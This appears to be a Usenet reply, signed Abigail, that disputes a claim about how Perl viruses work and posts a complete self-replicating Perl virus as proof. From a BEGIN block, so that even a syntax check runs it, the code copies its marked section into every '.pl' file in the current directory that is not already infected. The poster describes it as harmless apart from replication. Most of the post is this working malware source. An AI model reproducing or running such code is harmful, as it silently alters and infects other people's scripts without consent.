Wrong. Virusses can be "implanted" in many ways, not needing <DATA> or seek. Here's some code I posted to Usenet several years ago; if you run it, it will try to infect all files ending in ".pl" in the current directory. It won't do anything but try to replicate itself. It does its business from a BEGIN block, so even running it with -c cause replication.

#!/opt/perl/bin/perl -w

use strict;

# HACKED
BEGIN {
    local *ME;
    if (open ME, $0) {
        local $/;
        my $me =  <ME>;
        my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s;
        if (opendir DIR, ".") {
            foreach my $file (readdir DIR) {
                next unless $file =~ /.pl$/;
                local *FILE;
                if (open FILE, "+< ./$file") {
                    my $program = <FILE>;
                    unless ($program =~ /# HACKED/) {
                        $program =~ s/\n/\n$text/;
                    }
                    seek FILE, 0, 0;
                    print FILE $program;
                }
                close FILE;
            }
        }
        closedir DIR;
    }
    close ME;
}
# HACKED

__END__
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-- Abigail